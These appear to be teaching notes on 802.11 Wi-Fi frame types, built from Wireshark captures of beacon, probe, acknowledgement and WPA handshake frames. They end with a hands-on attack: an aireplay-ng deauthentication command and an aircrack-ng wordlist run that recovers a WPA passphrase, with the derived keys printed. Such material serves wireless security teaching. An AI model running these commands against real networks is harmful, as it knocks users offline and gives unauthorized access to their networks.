

Beacon frame

Ssid: ehd12

wlan.fc.type_subtype==0x08					
No.	Time	Source	Destination	Protocol	Length Info
1	0.000000	dc:8c:37:b3:96:e0	Broadcast	802.11	246 Beacon frame, SN=876, FN=0, Flags=....., BI=102, SSID=ehd12

▸ Fixed parameters (12 bytes)
▾ Tagged parameters (210 bytes)
▾ Tag: SSID parameter set: ehd12
Tag Number: SSID parameter set (0)
Tag length: 5
SSID: ehd12

Management frame

ó Management frames

ó Frame type = 0

ó Used when clients join and leave networks

ó Management frames have the following sub-types

- Beacon
- Probe Request and Probe Response
- Authentication
- De-authentication
- Association Request and Association Response
- Re-association Request and Re-association Response
- Disassociation

wlan.fc.type==0x0					
No.	Time	Source	Destination	Protocol	Length Info
1	0.000000	dc:8c:37:b3:96:e0	Broadcast	802.11	246 Beacon frame, SN=876, FN=0, Flags=....., BI=102, SSID=ehd12
2	0.147968	dc:8c:37:b3:96:e0	IntelCor_b0:89:ac	802.11	240 Probe Response, SN=3154, FN=0, Flags=....R..., BI=102, SSID=ehd12
7	0.591424	dc:8c:37:b3:96:e0	Guangdon_2a:30:4b	802.11	240 Probe Response, SN=3155, FN=0, Flags=....R..., BI=102, SSID=ehd12
8	0.598080	dc:8c:37:b3:96:e0	Guangdon_2a:30:4b	802.11	240 Probe Response, SN=3155, FN=0, Flags=....R..., BI=102, SSID=ehd12
9	0.600640	dc:8c:37:b3:96:e0	Guangdon_2a:30:4b	802.11	240 Probe Response, SN=3155, FN=0, Flags=....R..., BI=102, SSID=ehd12
11	1.122364	dc:8c:37:b3:96:e0	HuaweiTe_52:0f:58	802.11	240 Probe Response, SN=3156, FN=0, Flags=....R..., BI=102, SSID=ehd12
12	1.124416	dc:8c:37:b3:96:e0	HuaweiTe_52:0f:58	802.11	240 Probe Response, SN=3156, FN=0, Flags=....R..., BI=102, SSID=ehd12
13	1.126976	dc:8c:37:b3:96:e0	HuaweiTe_52:0f:58	802.11	240 Probe Response, SN=3156, FN=0, Flags=....R..., BI=102, SSID=ehd12
14	1.188928	dc:8c:37:b3:96:e0	IntelCor_b0:89:ac	802.11	240 Probe Response, SN=3157, FN=0, Flags=....R..., BI=102, SSID=ehd12

Control frame

ó Control frames

- ó Frame type = 1
- ó Assist in the delivery of data frames in the network
- ó Control frames have the following sub-types
 - Request to Send (RTS)
 - Clear to Send (CTS)
 - Acknowledgement (ACK)

wlan.fc.type==0x1						
No.	Time	Source	Destination	Protocol	Length	Info
3	0.148476		dc:8c:37:b3:96:e0 (dc...	802.11	10	Acknowledgement, Flags=.....
4	0.173050		Cisco_e7:11:e0 (ec:bd...	802.11	10	Acknowledgement, Flags=.....
5	0.177658		Cisco_e7:11:e5 (ec:bd...	802.11	10	Acknowledgement, Flags=.....
6	0.280052		d4:78:9b:e7:a5:a0 (d4...	802.11	10	Acknowledgement, Flags=.....
10	0.654858		Legra_90:ea:a2 (00:0f...	802.11	10	Acknowledgement, Flags=.....
15	1.188924		dc:8c:37:b3:96:e0 (dc...	802.11	10	Acknowledgement, Flags=.....
16	1.330230		d4:78:9b:e7:a5:a0 (d4...	802.11	10	Acknowledgement, Flags=.....
21	1.466938		dc:8c:37:b3:96:e0 (dc...	802.11	10	Acknowledgement, Flags=.....
24	1.494074		dc:8c:37:b3:96:e0 (dc...	802.11	10	Acknowledgement, Flags=.....

Frame 10: 10 bytes on wire (80 bits), 10 bytes captured (80 bits)
IEEE 802.11 Acknowledgement, Flags:

Data frame

ó Data frames

- ó Frame type = 2
- ó Carry the actual data from higher-layer protocols
- ó Data frames do not have further sub-types

wlan.fc.type==0x2						
No.	Time	Source	Destination	Protocol	Length	

Wpa handshake

eapol						
No.	Time	Source	Destination	Protocol	Length	Info
5611	256.961094	d4:78:9b:e7:cb:10	XiaomiCo_08:f7:a0	EAPOL	155	Key (Message 1 of 4)
5614	257.075280	XiaomiCo_08:f7:a0	d4:78:9b:e7:cb:10	EAPOL	155	Key (Message 2 of 4)
5616	257.083970	d4:78:9b:e7:cb:10	XiaomiCo_08:f7:a0	EAPOL	205	Key (Message 3 of 4)
5618	257.091660	XiaomiCo_08:f7:a0	d4:78:9b:e7:cb:10	EAPOL	133	Key (Message 4 of 4)

Sending disassociation frame

```
root@kali:/tmp/wireless/disassoc# aireplay-ng wlan0 --deauth 5 -a D4:78:9B:E7:CB:10 -c EC:D0:9F:08:F7:A0
07:05:01 Waiting for beacon frame (BSSID: D4:78:9B:E7:CB:10) on channel 1
07:05:02 Sending 64 directed DeAuth (code 7). STMAC: [EC:D0:9F:08:F7:A0] [ 0|15 ACKs]
07:05:03 Sending 64 directed DeAuth (code 7). STMAC: [EC:D0:9F:08:F7:A0] [ 0|22 ACKs]
07:05:03 Sending 64 directed DeAuth (code 7). STMAC: [EC:D0:9F:08:F7:A0] [ 0|23 ACKs]
07:05:04 Sending 64 directed DeAuth (code 7). STMAC: [EC:D0:9F:08:F7:A0] [31|51 ACKs]
07:05:05 Sending 64 directed DeAuth (code 7). STMAC: [EC:D0:9F:08:F7:A0] [ 0|23 ACKs]
```

Cracking wpa password

```
[00:00:00] 968/7120712 keys tested (3612.43 k/s)

Time left: 32 minutes, 51 seconds                                0.01%

KEY FOUND! [ patience ]

Master Key      : F3 67 4F 11 A2 37 88 49 62 9B 89 6F 7F BE 5C 06
                  4F 86 1A 5C 48 55 5E CA 97 52 B7 50 84 15 7F 58

Transient Key   : 5F 8B 5C 4A D5 C6 E6 08 B1 5D BD 69 F5 C6 93 32
                  CB B1 68 AD 00 39 8E E3 36 47 4E 77 37 A7 E0 5F
                  F9 53 B0 F7 BB 09 11 83 81 BF 8E 84 19 F0 51 91
                  51 7F 5C 0F 5E F4 E6 47 53 D2 2C 74 21 A2 19 00

EAPOL HMAC      : 3A C3 0F 32 0A 9B 92 C6 1C 90 1A 23 83 6D 17 E8
root@kali:/tmp/wireless/disassoc# aircrack-ng capture01-01.cap -w /usr/share/wordlists/rockyou.txt
```